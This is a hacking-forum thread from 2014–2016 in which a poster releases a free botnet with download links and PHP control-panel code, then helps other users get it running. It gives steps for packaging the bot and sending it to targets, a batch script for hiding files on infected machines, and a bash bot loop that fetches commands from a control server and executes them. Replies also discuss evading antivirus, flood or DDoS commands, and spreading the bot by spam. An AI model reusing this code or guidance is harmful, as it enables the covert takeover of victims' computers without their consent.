Thread: [\[Release\] Open Project Botnet + source](#)

(i)(c)(u)(r)(u)(o)(k) - March 1, 2014, 8:38 pm

[Virus Scan Result](#)

[Download](#)

[VirusTotal Scan](#)

This is the download for the source of the main bot file the executable ..

<http://kiwi6.com/file/nh5qvu04bm>

It is not required to download this one above.. unless you want to compile the main executable yourself or create a whole new type of Botnet...

And this is the project download of the Botnet with the main executable already compiled. And php files included.

<http://kiwi6.com/file/ursvs1t5ef>

PHP FIX UPDATE - targets.php

Spoiler [\(Click to View\)](#)

```
Code <?php
date_default_timezone_set('America/Chicago'); // CDT
$file = "log.txt"; //Path to your *.txt file
$contents = file($file);
$string = implode($contents);
$string2 = "Infected users hooked to your botnet<br />";
$current_date = date('d/m/Y == H:i:s');
echo '<body style="background-color:gray">';
echo '<center>';
echo '<br></center>';
echo $current_date;
?>
<html>
<br><br>
<?php
echo $string2;
echo $string;
?>
</html>
```

?Homie g dawg - March 1, 2014, 9:01 pm

Why won't you scan it on virustotal?

JakeFromStateFarm - March 1, 2014, 9:05 pm

Actually this is a really nice thread.

- Looks nice ?
- Well prepared. ?
- The botnet works well ?
- Easy to setup ?
- Did not lie ?

This botnet is wonderful!

SIM-1538688 - March 1, 2014, 9:07 pm

Seems kinda shady since you're a new user, post a virus total link people like those more.

(i)(c)(u)(r)(u)(o)(k) - March 1, 2014, 9:10 pm

Will do and it is legit.... Really there is no reason for a scan cause to be honest you don't need to run a single file to set this up. But I will post a scan.

(i)(c)(u)(r)(u)(o)(k) - March 3, 2014, 12:59 pm

If anyone has any questions on using this or needs help just send me a pm or post here thanks.

Handsome-Jack - March 3, 2014, 2:19 pm

(Mar 1, 2014 10:07 PM)panton123 Wrote: [\[CITE\]](#) Seems kinda shady since you're a new user, post a virus total link people like those more.

One does not simply scan a botnet with virus total and not get a virus

-__-

Sector 11 - March 3, 2014, 2:58 pm

(Mar 3, 2014 03:19 PM)Nightling Wrote: [\[CITE\]](#) One does not simply scan a botnet with virus total and not get a virus

-__-

Actually if source is given you can easily check ...

(i)(c)(u)(r)(u)(o)(k) - March 4, 2014, 7:53 am

There is no reason for a virus scan to be honest cause you don't need to run a single file to set this botnet up just edit 1 text file and you're done. It's just makes it a easier to infect systems if the botnet is sent to the user as a single .exe file. More details can be found in the download plus a setup tutorial.

Unsentimental - March 4, 2014, 2:58 pm

Add me on skype that's if you don't mind :themainact

(i)(c)(u)(r)(u)(o)(k) - March 4, 2014, 3:04 pm

I don't use Skype sorry I hate that stuff any social media type networks or IM service.

matt22420 - March 6, 2014, 12:15 pm

il try need better tut file tho ??

(i)(c)(u)(r)(u)(o)(k) - March 6, 2014, 12:43 pm

If you need help just send me a pm or post here

It's not too hard

Just open the Botnet folder then Autoplay folder and last the Doc folder

edit the host.txt file to point to the site where you uploaded the php files

Example

Code `http://websitelink/hostedbotfiles/`

No editing of the php files are needed just upload

Note

The web server hosting the php files must allow php to create new files and directories in order for this bot to work

Now re-zip the Botnet file once the host.txt has been edited and send to target

Once the target un-zips the Botnet.zip and opens winsvc.exe the system will connect to your hosted botnet.

I suggest using a zip to exe to convert the Botnet.zip to a single exe file to send to target or make a custom installer.

nicksp60 - March 8, 2014, 9:01 pm

hello friends ,

i am newbie and want to ask how to enable this botnet ?

Layl - March 8, 2014, 9:22 pm

If it's so open source, where's the source? (Other than the PHP server-side, and only having that doesn't count as being an "open source bot")

Edit:

This, good sir:

PHP Code

```
<?php
```

```
<a href="javascript:history.go(-1)">[Go Back]</a>
```

Is pure evil, AND THIS:

PHP Code

```
<?php
```

```
//if 10 days old, delete
```

```
if (filemtime("$dir/$file") < strtotime('-7 days'))
```

Is just plain inaccurate.

Private666 - March 9, 2014, 12:02 am

Wow no MySQL so how would you store bots also no Building sounds like a Phisher to me.

(i)(c)(u)(r)(u)(o)(k) - March 9, 2014, 3:39 am

^^

Lol a MySQL database is not always needed all it does is store data I made this to use other sources of data storage.

And if you want to view more of the source use a zip/rar extractor and extract the winsvc.exe file it was created using AMS "AutoPlay Media Studio" which using .lua coding.

The bot "winsvc.exe" works by reading the hosted php files on you're server and uses raw txt to receive commands and store data no MySQL. It creates it's own unique directory on the server unique to the bots system.. And runs of txt files built inside the directory from the php admin cp

To make winsvc connect to you're server edit the host.txt file.

(Mar 8, 2014 10:22 PM)Layl Wrote: [\[CITE\]](#) This, good sir:

PHP Code

```
<?php
```

```
<a href="javascript:history.go(-1)">[Go Back]</a>

```
<?php
```

```
//if 10 days old, delete
```

```
if (filemtime("$dir/$file") < strtotime('-7 days'))
```

Is just plain inaccurate.

Lmao ^^

The first code is JavaScript it creates a link the acts the same as clicking the back button on the browser

The second code is to delete old bots from commands and that's not all the code....

Layl - March 9, 2014, 8:17 am

I am well aware that it's javascript, that doesn't make it any less plain evil. What's wrong with the following?

PHP Code

```
<?php
```

```
<a href="index.php">[Go Back]</a>
```

And that second bit, you're deleting 7 days old things, not 10 days old. Also, how do you suppose we extract an .exe file? Because an .exe file isn't a .zip file. Just post a zip with the code, or even better, put it on github.

muz3 - March 9, 2014, 9:43 am

The php code are vulnerable.

Extra

Prototype123 - March 9, 2014, 9:58 am

Hi i'm new with this kind of thing and want to take it upon myself to accomplishing this but I need some help bro do you think you could PM me your Skype name I that would be awesome thx....?

FurfUksake - March 9, 2014, 10:21 am

(Mar 4, 2014 04:04 PM)DomeSlapMusic Wrote: [\[CITE\]](#) I don't use Skype sorry I hate that stuff any social media type networks or IM service.

This exe is a compressed zip just try it....

Also I can't use that code or you would need to login to the cp every time you click that link using your code.

I have no plan on updating the php files...

Dedicated007 - March 18, 2014, 2:52 pm

is there a way to hide the host.txt file after execution? or a better way to compress the exe? Because all codes are seen and all info is in that file

(i)(c)(u)(r)(u)(o)(k) - March 18, 2014, 4:10 pm

Use the zip to exe converter to make it all into a single exe then have it extract the files to a folder... Once the bot is connected you could send some batch code to the system that will hide that folder from view via registry edits.

Dedicated007 - March 18, 2014, 5:53 pm

(Mar 18, 2014 04:10 PM)DomeSlapMusic Wrote: [\[CITE\]](#) Use the zip to exe converter to make it all into a single exe then have it extract the files to a folder... Once the bot is connected you could send some batch code to the system that will hide that folder from view via registry edits.

can you help me write the batch code, I have no clue how to do it. I used the auto temp selection, and mainly use this bot for download and exe my files

(i)(c)(u)(r)(u)(o)(k) - March 18, 2014, 7:48 pm

(Mar 18, 2014 05:53 PM)Dedicated007 Wrote: [\[CITE\]](#) can you help me write the batch code, I have no clue how to do it. I used the auto temp selection, and mainly use this bot for download and exe my filesI don't suggest using the temp directory because this gets cleaned out by the operating system from time to time.

Code @echo off

Set _Path=%temp%

For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I

If "%_Attribs:~4,1%"=="H" (

Attrib -H "%_Path%"

Attrib /D /S -H "%_Path%*.*

) Else (

Attrib +H "%_Path%"

Attrib /D /S +H "%_Path%*.*

)

exit

This is untested code but it should make the users temp directory hidden

If you want to make another directory hidden change Set _Path=c:\docs\folder\hidefolder

habibienta - March 19, 2014, 9:30 am

anyone know about stebel botnet source

Handsome-Jack - March 19, 2014, 9:40 am

Vouch for this mate, Very well built source, but I have a question. Are we allowed to sell the ones we make?

habibienta - March 19, 2014, 10:29 am

yess nice dude pm me if you have good one skype Turkishpower5

Jony Blaze - March 19, 2014, 11:44 am

Looks like awesome thread.

Thanks Buddy

(Mar 21, 2014 08:57 AM)maimuna76 Wrote: [\[CITE\]](#) why this programs thing this is a virus and clamav thing it is not a virus ?

Anti-virus software is not always 100% ... Most AV software will scan the file headers and detect encryption...from the encryption and headers it runs through a database to check if it could be a virus or trojan.. Just because of the type of headers and encryption the file could make it detectable as a threat to some AV & others not...

Lots of programs show as a threat to anti-virus...when infact it does not harm the system in anyway at all....it's just because the way AV scans and detects files....if anything in the software comes close to another detected file or uses a packer/crypter to encrypt the software that is the same as a detected file then it will probably show the software as a threat even when it's not.....

Just learn that... Just because AV says it is a Trojan/Virus does not always mean it really is one... Mybe around 80%+ of the time AV is correct.... The rest is false positives from the database...

Which is why it is smart to use a multi av scanner to get a better final result

Code \$file = "./PHP/log.txt"; //Path to your *.txt file
Just replace the code to the path of the log.txt file.

```

<?Php
    date_default_timezone_set('America/Chicago'); // CDT
    $file = "PHP/log.txt"; ///public_html/PHP
    $contents = file($file);
    $string = implode($contents);
    $string2 = "Infected users hooked to your botnet<br />";
    $current_date = date('d/m/Y == H:i:s');
    echo '<body style="background-color:white">';
    echo '<center>';
    echo '</center>';
    echo "<font color=red size=13>The Current Date & Time $current_date</font><br /><br><br>";
?>
<html>
<?php
echo $string2;
echo $string;
?>
</html>

```

The path of my log.txt is in public_html/PHP folder, so I replace \$file = "PHP/log.txt";
 ///public_html/PHP, but still same error, vm is up and botnet is executed leaving the winsvc.exe running.

(i)(c)(u)(r)(u)(o)(k) - March 26, 2014, 3:34 pm

Code The path of my log.txt is in public_html/PHP folder, so I replace \$file = "PHP/log.txt";
 ///public_html/PHP, but still same error, vm is up and botnet is executed leaving the winsvc.exe running.

///public_html/PHP

Would not be the correct path

Use

```

Code $file = "log.txt";
Or
$file = "./log.txt";
Or
$file = "http://websiteurl.com/PHP/log.txt";

```

4nt1g0v - March 30, 2014, 4:34 am

thx for the share mate

btw, you need add the fix for some problem on first page :)

Louis C.K. - March 31, 2014, 5:38 pm

Pm me for how to hook this up, my friend Dedicated007 recommend this bot to me. I have webhost and upload the php zip, but when I click the target it showed \$string2\$string. What kind of error is this? I don't understand this and the coding of the bot, please if you have skype help me fix this.

(i)(c)(u)(r)(u)(o)(k) - March 31, 2014, 9:31 pm

(Mar 31, 2014 05:38 PM)cowmanr Wrote: [CITE](#) Pm me for how to hook this up, my friend Dedicated007 recommend this bot to me. I don't understand this and the coding of the bot, please if you have skype help me fix this.

Find the php file named targets.php
Remove all code and
insert this code fix

PHP Code

```
<?php
date_default_timezone_set('America/Chicago'); // CDT
$file = "PHP/log.txt";
$contents = file($file);
$string = implode($contents);
$string2 = "Infected users hooked to your botnet<br />";
$current_date = date('d/m/Y == H:i:s');
echo '<body style="background-color:white">';
echo '<center>';
echo '</center>';
echo "<font color=red size=13>The Current Date & Time $current_date</font><br /><br><br>";
?>
<html>
<?php
echo $string2;
echo $string;
?>
</html>
```

Replace

```
$file = "PHP/log.txt";
```

To the location of the txt file..

Louis C.K. - April 1, 2014, 1:19 pm

(Mar 31, 2014 09:31 PM)DomeSlapMusic Wrote: [\[CITE\]](#) Find the php file named targets.php
Remove all code and
insert this code fix

PHP Code

```
<?php
date_default_timezone_set('America/Chicago'); // CDT
$file = "PHP/log.txt";
$contents = file($file);
$string = implode($contents);
$string2 = "Infected users hooked to your botnet<br />";
$current_date = date('d/m/Y == H:i:s');
echo '<body style="background-color:white">';
echo '<center>';
echo '</center>';
echo "<font color=red size=13>The Current Date & Time $current_date</font><br /><br><br>";
?>
<html>
<?php
echo $string2;
echo $string;
?>
</html>
```

Replace
\$file = "PHP/log.txt";

To the location of the txt file..

I zip all files up and and uploaded to the webhosting, I zip everything inside the php folder up before uploading the contents. so this is how I see my bots, xxx.esy.es/targets.php. The error above is fixed, but you said PHP/log.txt. Hmmmm, shouldn't it be /log.txt since, I didn't zip the php folder up and upload, I zip everything inside the folder up and upload. Also Im still unable to get the infected user hooked to my botnet.

keesvwaal - April 7, 2014, 11:15 am

Looks a nice Botnet i will try to take a look at this.

DrCrumbs - April 8, 2014, 5:23 pm

Thank You, very cool.

So great to find some clean free stuff.

Unscrupulous - April 8, 2014, 7:44 pm

Short and sweet but does it's job, thanks :)

Look right above you lol....

And this is one of the easiest in my opinion.. No MySQL setup needed or even compiling of a executable.

XKillerBoy - May 12, 2014, 7:30 am

Where is the source? I can only find the PHP files and some compiled files.

Lilwayne11833 - May 14, 2014, 6:33 am

Nice work. It looks very good.

It is very easy. This is really for beginners

foreveralone1 - May 14, 2014, 7:50 am

Can you tell us the programming language?

Bismo - May 14, 2014, 2:44 pm

Yeah, same question, what's this coded in?

(i)(c)(u)(r)(u)(o)(k) - May 14, 2014, 10:06 pm

There is no need to know any programming language to setup this Botnet..

The Botnet works off a pre-compiled executable, this is created in "AMS" Not "ASM" and it's core is coded using .lua

I say this comes with the source because well, the pre-compiled executable runs off the source files. On its own it does nothing...

There is no need to compile the main executable because there is nothing to alter or change.

Paco II - June 2, 2014, 4:41 pm

i will defintly test you but thank you

norrie88 - June 3, 2014, 6:17 am

Hi everybody, I really like the Botnet, only I'm quite stuck. The command control page is up and the botnet is running on a windows computer. But when I check the command control page there is no botnet connected.

The only thing I can think of is that the last step zipping the botnet folder zip2exe went wrong, but should it not be the case that if the main botnet program is running (the winsvc.exe file) that it should already be recognized by the command control page? Thank you already so much!

(i)(c)(u)(r)(u)(o)(k) - June 3, 2014, 9:54 am

(Jun 3, 2014 06:17 AM)norrie88 Wrote: [\[CITE\]](#) Hi everybody, I really like the Botnet, only I'm quite stuck. The command control page is up and the botnet is running on a windows computer. But when I check the command control page there is no botnet connected.

This could be a few things...

Check that you put the correct URL in.. The URL must be the location of the hosted php files..

Next edit targets.php with this

Code <?Php

```
date_default_timezone_set('America/Chicago'); // CDT
```

```
$file = "log.txt"; //Path to your *.txt file
```

```
$contents = file($file);
```

```
$string = implode($contents);
```

```
$string2 = "Infected users hooked to your botnet<br />";
```

```
$current_date = date('d/m/Y == H:i:s');
```

```
echo '<body style="background-color:black">';
```

```
echo '<center>';
```

```
echo '</center>';
```

```
echo "<font color=red size=13>The Current Date & Time $current_date</font><br /><br><br>";
```

```
echo "<font color=red>$string2</font>";
```

```
echo "<font color=red>$string</font>";
```

```
?>
```

```
<html>
```

```
<?php
```

```
echo $string2;
```

```
echo $string;
```

```
?>
```

</html> Make sure it is loading log.txt

Replace log.txt with the URL of the log.txt file on your server.. All should work fine then.

This is the correct code for targets.php

```
Code <?Php
date_default_timezone_set('America/Chicago'); // CDT
$file = "log.txt"; //Path to your *.txt file
$contents = file($file);
$string = implode($contents);
$string2 = "Infected users hooked to your botnet<br />";
$current_date = date('d/m/Y == H:i:s');
echo '<body style="background-color:black">';
echo '<center>';
echo '</center>';
echo "<font color=red size=13>The Current Date & Time $current_date</font><br /><br><br>";
echo "<font color=red>$string2</font>";
echo "<font color=red>$string</font>";
?>
```

scuzzyhoulihan - June 3, 2014, 10:56 pm

(i)(c)(u)(r)(u)(o)(k) - June 4, 2014, 12:41 am

I have decided to release the source code of the winsvc.exe file

The winsvc file is the main executable of the Botnet..

You don't NEED to compile or edit this file or it's source... But if the Botnet becomes more detected over time... Editing and re-compiling of the main executable will help.

<http://kiwi6.com/file/nh5gvu04bm>

To edit/compile this project source you will need AMS installed.

Not ASM "AMS" it stands for AutoPlay Media Studio..

I created this Botnet in v 8 AMS

It uses .lua functions to work.. This could also allow you to build a new unique botnet.

If you are new to AMS this project shows just what it can do with some very basic code.

With this one could also make the Botnet into a single executable without using a zip 2 exe

Parsons - June 5, 2014, 2:31 pm

This is truly a share in the real meaning of digital freedom. Good Work!

Finally someone who distributes for a community and not for the money (tha twill come later if it gets some features lol)

Keep up the good work

(i)(c)(u)(r)(u)(o)(k) - June 6, 2014, 7:27 pm

To anyone interested in using this Botnet to hook remote Linux/Mac/iOS devices/systems to your Botnet server.. I have made this sample test code below..

This code is some simple bash shell script that will hook the system to the Botnet. It still needs work as it does not do everything needed, but it's main core works..

```
Code if [[ ! -f BotData.txt ]]; then
BOTDATA1=$(uname -m);
r=$(( $RANDOM % 50 ));
r2=$(( $RANDOM % 10 + $r));
r3=$(( $RANDOM % 10 + $r2));
curl --data "field1=$BOTDATA1&field2=$r3" http://botnetsite.comer/log.php
echo "$r3" > BotData.txt
mkdir $r3
fi
if [[ ! -t BotData.txt ]]; then
while [ 1 ]
do
  lr=$(cat BotData.txt)
  cd $lr
  echo $lr
  wget botnetsite.comer/$lr/command.txt
  cp command.txt command.sh
  chmod 777 command.sh
  ./command.sh
  rm command.txt
  rm command.sh
  cd ..
  curl --data "field2=$lr" http://botnetsite.comer/delete.php
  sleep 30
done
fiSave as anything and run from shell/terminal
```

Sechs - June 9, 2014, 10:46 am

Just took a look at the source. No offense but if I were you, I'd change my sig ...

Honestly speaking, this is what I would expect from somebody who barely has any real-world experience in software development. Code-quality is basically nonexistent, the usage of 'or die' and '<center>' makes me die inside, the password-protect stuff was copy-pasted and some files differ by just ONE line. There seems to be a variable for almost everything, even though it might only get used once. That's just the stuff I found without actually reading the 'code'.

I think it's nice that you're releasing stuff, but before you do, please make sure that whatever you're releasing is actually up to standards. This is not. If it can be taken as a literal example of how you usually work, I would highly, highly recommend taking a step back because you're clearly not in a position where you can (or should) monetize your abilities. Threads like [this one](#) make this even more apparent.

To anyone actually thinking of hiring this guy, or really any other of the numerous super-cheat devs out there, for that matter;

There is a reason why custom software is expensive. Writing it takes time and expertise, both of which don't come cheap by default. Think of programmers as hookers. You wouldn't want to lay down with the cheapest bitch in town, would you?

(i)(c)(u)(r)(u)(o)(k) - June 9, 2014, 11:02 am

You obviously only looked at the simple php code I made in a single day...

Not the code for the main executable of the bot file "winsvc"

<https://hackforums.net/showthread.php?tid=4091369&pid=40479374#pid40479374>

This Botnet was designed and created to be easy and very very basic... That's the point

The Botnet was created so that users don't need to compile a single executable or run a MySQL database.

(i)(c)(u)(r)(u)(o)(k) - June 12, 2014, 8:57 pm

Also I didn't release this Botnet as a finish project it says in the damn title "open project"

Meaning I made the fucking thing so that others could create something completely new from it.

It is just the very raw basics of a Botnet but hooked systems have wget and work via batch/bash shell commands send from the php server..

The whole thing was designed to be picked at and remade by other users.

webwarlock72 - June 14, 2014, 2:29 am

(Jun 4, 2014 12:41 AM)DomeSlapMusic Wrote: [\[CITE\]](#) I have decided to release the source code of the winsvc.exe file

The winsvc file is the main executable of the Botnet..

You don't NEED to compile or edit this file or it's source... But if the Botnet becomes more detected over time... Editing and re-compiling of the main executable will help.

<http://kiwi6.com/file/nh5qvu04bm>

To edit/compile this project source you will need AMS installed.

Not ASM "AMS" it stands for AutoPlay Media Studio..
I created this Botnet in v 8 AMS
It uses .lua functions to work.. This could also allow you to build a new unique botnet.

If you are new to AMS this project shows just what it can do with some very basic code.

With this one could also make the Botnet into a single executable without using a zip 2 exe
You made this in AutoPlay Media Studio 8? I have used that in the past but never thought of making a bot. I'm quite impressed. I've not had a look at your bot yet will have a look now. Could you point me to some reading resources using AutoPlay Media Studio for bots. I would like to know more. :)

(i)(c)(u)(r)(u)(o)(k) - June 14, 2014, 10:25 am

(Jun 14, 2014 02:29 AM)webwarlock72 Wrote: [\[CITE\]](#) You made this in AutoPlay Media Studio 8? I have used that in the past but never thought of making a bot. I'm quite impressed. I've not had a look at your bot yet will have a look now. Could you point me to some reading resources using AutoPlay Media Studio for bots. I would like to know more. :)

Correct this bot file "winsvc" was created in AutoPlay Media Studio 8

I can't give you any resource links.... Id like to consider myself to have mastered AMS...
I have created RATs,key loggers,reverse shells,botnets,custom compilers & builders..

Just check out my source code on page 9 I think..

This should give you some ideas ..

I suggest step one.. Try to make c/c++ compiler using AMS then you are set.. You could create a custom client file builder... Then have the server file already compiled and ready to open..

TheLaoTzu - June 14, 2014, 6:18 pm

does the souce code on page nine include all source codes. I tried the download link and it appears to have taken down

(i)(c)(u)(r)(u)(o)(k) - June 14, 2014, 7:38 pm

(Jun 14, 2014 06:18 PM)TheLaoTzu Wrote: [\[CITE\]](#) does the souce code on page nine include all source codes. I tried the download link and it appears to have taken down

This is the download for the source of the main bot file the executable ..

<http://kiwi6.com/file/nh5qvu04bm>

It is not required to download this one above.. unless you want to compile the main executable yourself or create a whole new type of Botnet...

And this is the project download of the Botnet with the main executable already compiled. And php files included.

<http://kiwi6.com/file/ursvs1t5ef>

TheDHackers - June 16, 2014, 11:02 am

I need some help, how do i get the bots/slaves with this, i did not catch it in the How to file that come with the botnet.

erbeats - June 16, 2014, 11:04 am

Nice bot.

This bot works well.
Kudos!

(i)(c)(u)(r)(u)(o)(k) - June 20, 2014, 9:28 am

To anyone who doesn't understand how to setup/compile the Botnet... I have created a custom builder for the Botnet...this builder program will allow you to input your URL and hit build/compile.. It will make a single executable file to send and hook systems. This makes it very easy for users who don't know how to edit the Botnet files and compile into a single executable.

Hateful15 - June 20, 2014, 6:31 pm

Would you be willing to help me set this up? (Im new to all of this).

And could this be used to take down certain websites, (DDoS)?

If you could read the replies, look above you. There is the download link.

(i)(c)(u)(r)(u)(o)(k) - April 24, 2015, 6:29 pm

Thanks ^^

One of the few people who actually reads the posts lol

(i)(c)(u)(r)(u)(o)(k) - April 26, 2015, 7:55 pm

Almost at 300 downloads... Not bad..

I edited the main thread post so you can now download it from the original post...

If anyone needs help creating a alternative version from the AMS project let me know..

Yes I said AMS not ASM

AutoPlay Media Studio is what created the main winsrv.exe used to make the botnet work..

JohnHolesten - April 30, 2015, 5:41 am

install vid guide? if possible?

(i)(c)(u)(r)(u)(o)(k) - May 1, 2015, 7:21 pm

I'll pay someone to make me a setup guide video for this..

Send me a pm and we can discuss it..

I'll post your setup tutorial video with the main thread post..

JohnHolesten - May 2, 2015, 5:17 am

Hey whats the best free hosts for this botnet just to ask?

(i)(c)(u)(r)(u)(o)(k) - May 2, 2015, 5:22 am

Couldn't tell you honestly.. I can tell you it works best on a linux based server rather than a windows one..

Really any free server should work

JohnHolesten - May 2, 2015, 5:27 am

Well what server host did you use to test the botnet

(i)(c)(u)(r)(u)(o)(k) - May 2, 2015, 5:35 am

A local apache server with php hosted on my own system lol..

JohnHolesten - May 4, 2015, 12:19 am

How's that vid going? are you or someone else making one?

(i)(c)(u)(r)(u)(o)(k) - May 4, 2015, 1:37 am

Not that I know of.. I will get to it sometime if no one else does

JohnHolesten - May 4, 2015, 2:49 am

Also does this botnet have a flood command of some kind.

The web host for this is a sub domain or a domain.

(i)(c)(u)(r)(u)(o)(k) - May 4, 2015, 10:51 am

Yes of course you have full shell control over bots..

And the host can be either or..

JohnHolesten - May 7, 2015, 12:28 am

Hey dude ive attempted to setup your botnet but your how to_ text document is a tad confusing from step 3 onwards.

you should make a somewhat picture guide for it
i personally cant go past step 3 my self.

(i)(c)(u)(r)(u)(o)(k) - May 7, 2015, 4:47 pm

<https://hackforums.net/showthread.php?tid=4091369&pid=45952759#pid45952759>

A free server is fine.. Linux based OS if possible and no forced advertising..

The server shouldn't be able to detect this as a botnet..

Its database works off raw php outputs from txt files rather than sql..

JohnHolesten - May 7, 2015, 7:11 pm

SPAM is the way to go for this.

(i)(c)(u)(r)(u)(o)(k) - June 23, 2015, 9:49 am

I can help and assist anyone with any questions about this botnet..

I can also help with AMS project if you are creating from scratch.

derivcs - February 20, 2016, 6:07 pm

looks like a well prepared botnet. very nice.

austinholden12 - February 20, 2016, 6:17 pm

how do i set it up? idk how please help

john12 - February 21, 2016, 3:17 am

Thanks for that dude, will try it

rapid1me - February 21, 2016, 5:20 am
